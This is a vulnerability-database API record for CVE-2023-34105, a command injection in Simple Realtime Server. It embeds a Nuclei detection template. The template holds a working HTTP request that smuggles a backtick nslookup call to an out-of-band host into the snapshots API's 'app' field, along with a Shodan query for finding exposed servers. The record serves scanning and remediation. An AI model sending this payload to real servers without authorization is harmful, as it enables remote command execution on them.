{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-34105/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-34105/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-34105/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-34105/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-34105/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-34105"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-34105"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-34105.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2023-34105\n\ninfo:\n  name: SRS - Command Injection\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: high\n  description: |\n    SRS's v5.0.137~v5.0.156, v6.0.18~v6.0.47 api-server server is vulnerable to a drive-by command injection.\n  impact: |\n    Unauthenticated attackers with user interaction can inject commands through the app parameter in the snapshots API to execute arbitrary commands on the SRS streaming server.\n  remediation: |\n    Update SRS (Simple Realtime Server) to a version newer than v5.0.156 or v6.0.47 that properly sanitizes input in the api-server snapshots endpoint.\n  reference:\n    - https://github.com/ossrs/srs/security/advisories/GHSA-vpr5-779c-cx62\n    - https://github.com/ossrs/srs/blob/1d11d02e4b82fc3f37e4b048cff483b1581482c1/trunk/research/api-server/server.go#L761\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H\n    cvss-score: 7.5\n    cve-id: CVE-2023-34105\n    cwe-id: CWE-77,CWE-78\n    epss-score: 0.08689\n    epss-percentile: 0.9494\n    cpe: cpe:2.3:a:ossrs:simple_realtime_server:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: ossrs\n    product: simple_realtime_server\n    shodan-query: http.favicon.hash:1386054408\n    verified: true\n    max-request: 1\n  tags: cve,cve2023,srs,rce,oast,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/snapshots HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"action\":  \"on_publish\", \"app\":  \"`nslookup {{interactsh-url}}`\", \"stream\":\"foo\", \"vhost\": \"foo\", \"client_id\":\"foo\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - '{\"code\":'\n          - 'data\":'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022010465a70a5088c105d5fbecace8b32d40d2c63e09b99acc839905d4d2c9eb8e80221009bd84388e2f978c537c0f680f6485551f1b47b76ae67ed3d3178e4a0814826af:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-34105"
}